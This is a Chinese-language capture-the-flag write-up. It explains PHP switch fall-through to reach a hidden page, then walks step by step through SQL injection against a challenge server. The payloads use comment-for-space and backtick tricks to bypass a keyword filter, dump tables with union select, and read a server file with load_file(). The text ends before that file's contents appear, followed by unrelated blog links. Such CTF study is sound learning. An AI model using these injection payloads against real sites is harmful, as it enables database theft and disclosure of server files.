对于这个题第一个坑要过的话必须得了解php的switch case语句。 在这里举个例子:
$number=1;
switch ($number)
{
case "1":
echo "one";
case "2":
echo "two";
case "3"
echo "three";
}
输出结果为 one two three 如果在 echo “one”;后面加上break,输出结果为 one。这里应该就明白了吧。如果不加break会一直执行下去,直到结束或者遇到break。
在这个题目中有一条限制 sleep($c);
就是我们输入的c是多少就会等待多少秒然后执行。所以我们想要输出$url就得找到一个小的case。我们可以看到下图中的c=3显然满足。case 3 后面没有break会接着执行下面的echo "$url"
输入?c=3成功显示 here_1s_your_f1ag.php,接下来访问该页面。是一个很明显的注入页面,但还不确定能否注入。
我们先来看一下网站源代码有条提示 if(preg_match(’/information_schema.tables|information_schema.columns|linestring| |polygon/is’, $_GET[‘query’])){ die(’@A@’); } 过滤的关键词有information_schema.tables,information_schema.columns,linestring,空格,polygon。在这里提供一种绕过的方法——反引号 反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。 例如information_schema.tables和information_schema.`tables`都可以使用。 网页的弹窗使得我们不容易观察,我们直接在源代码页面进行注入。 例如这样
view-source:http://124.156.121.112:28051/here_1s_your_f1ag.php?query=1/**/order/**/by/**/1
当输入order by 1时才不显示错误,所以有一个回显位置。 接下来使用联合注入。 爆库名(web)
?query=-1/**/union/**/select/**/database()
爆表名(content)
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
爆字段名(id,username,password)
?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'
爆值
?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content
到这我们发现数据库中并没有我们想要的flag,但是有一条提示tell you a secret,secert has a secret… 所以很有可能flag在secret.php中,现在就有一个问题,我们怎么从数据库中查看文件内容呢,mysql提供了读取本地文件的函数load_file() 所以我们构造语句:
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
得到如下内容
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?